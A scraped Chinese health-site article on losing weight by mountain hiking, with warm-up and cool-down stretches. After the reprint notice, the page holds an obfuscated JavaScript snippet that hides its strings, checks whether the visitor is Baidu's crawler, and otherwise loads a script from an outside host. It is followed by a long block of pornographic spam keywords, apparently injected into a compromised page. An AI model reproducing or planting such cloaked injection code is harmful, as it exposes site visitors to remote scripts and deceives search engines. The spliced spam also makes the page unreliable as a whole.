當前位置:首頁 > 減肥 > 運動減肥 > 正文

爬山如何運動減肥?

2017-04-21 15:00:38  來源:360常識網   熱度:
導語:每到踏青節期間,很多家庭都計劃健步登山行,呼吸新鮮的空氣,擁抱一下大自然,領略大好山河來舒緩心情。爬山是一種有氧運動,老少皆宜,不

每到踏青節期間,很多家庭都計劃健步登山行,呼吸新鮮的空氣,擁抱一下大自然,領略大好山河來舒緩心情。爬山是一種有氧運動,老少皆宜,不但可以減肥,而且還不影響玩耍,散心,簡直一舉兩得,是個不錯的運動方式。那么爬山有哪些需要注意的呢?小編接下來告訴大家。

減肥最基本的道理是消耗的熱量大于吸收的熱量,運動是人體最主要的能量消耗渠道,但并不是說參加什么運動都可以取得良好減肥作用。理想的減肥運動方式是強度較低的運動,由于供氧充分,持續時間長,總的能量消耗多。爬山正是這樣一種運動強度適宜,持續時間較長的運動方式,因而具有獨到的減肥效果。

熱身動作:

1.腰部:站立,兩腳間距略比肩寬,一手自然下垂,另一手向上伸直,身體向一側屈體。

2.活動膝關節:屈膝,雙手放在膝關節上,順時針轉動。然后逆時針轉動。

3.活動踝關節:站立,重心放在一條腿上,另一條腿腳尖著地,先順時針后逆時針轉動。

登山減肥運動后放松:運動過后,或多或少會在體內產生一些副產品——乳酸,使肌肉僵硬酸痛。放松運動可以加速乳酸在血液中循環代謝,盡快排出體外。

放松動作:

1.站立,左手扶樹穩定身體,右手抓住左腿踝關節,向后上方拉伸,靜止半分鐘。雙手輕輕揉拍大小腿肌肉,然后換另一條腿,重復上面動作。

2.雙腿分開站立,右腳跟著地腳尖翹起,膝蓋伸直,雙手扶膝,靜止半分鐘。雙手輕輕揉拍大小腿肌肉,然后換另一條腿,重復上面動作。

爬山雖然能減肥,但是爬山的動作和安全也很重要,爬山之前也需要做好準備活動,以免受傷。為了省力,上山時最好重心前傾。爬山結束以后,也一定要做整理和放松運動。了解這些知識在爬山過程中都是很有必要的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
91精品视频播放| 日韩精品无码视频一区二区蜜桃 | 国内精品九九久久精品| 精品午夜福利无人区乱码一区| 国产午夜精品一区二区三区嫩草| 精品国产AV色欲果冻传媒| 少妇人妻无码精品视频| 久久精品国产亚洲Aⅴ香蕉| 久久久精品天堂无码中文字幕| 国产成人精品无码片区在线观看 | 国产成人高清精品一区二区三区| 一级一级特黄女人精品毛片视频| 亚洲国产一成人久久精品| 精品乱人伦一区二区| 国产精品1024| 日产精品99久久久久久| 日韩精品无码人成视频手机| 北岛玲在线精品视频| 亚洲国产成人精品无码区花野真一 | 久久精品国产亚洲综合色| 日韩精品人成在线播放| 国产成人精品午夜福利在线播放| 久久久久久亚洲精品| 中文字幕精品在线| 日韩精品人成在线播放| 热久久99精品这里有精品| 国内精品乱码卡1卡2卡3免费 | 97精品伊人久久久大香线焦| 久久99精品国产麻豆宅宅| 三级精品在线观看| d动漫精品专区久久| 日韩亚洲综合精品国产| 亚洲国产成人久久精品大牛影视 | 九九精品国产亚洲AV日韩| 亚洲一区精品视频在线| 久久亚洲精品中文字幕| 国产精品成人A区在线观看 | 久久国产乱子伦精品在| 亚洲日韩一页精品发布| 91精品成人免费国产| 久久精品无码一区二区三区日韩 |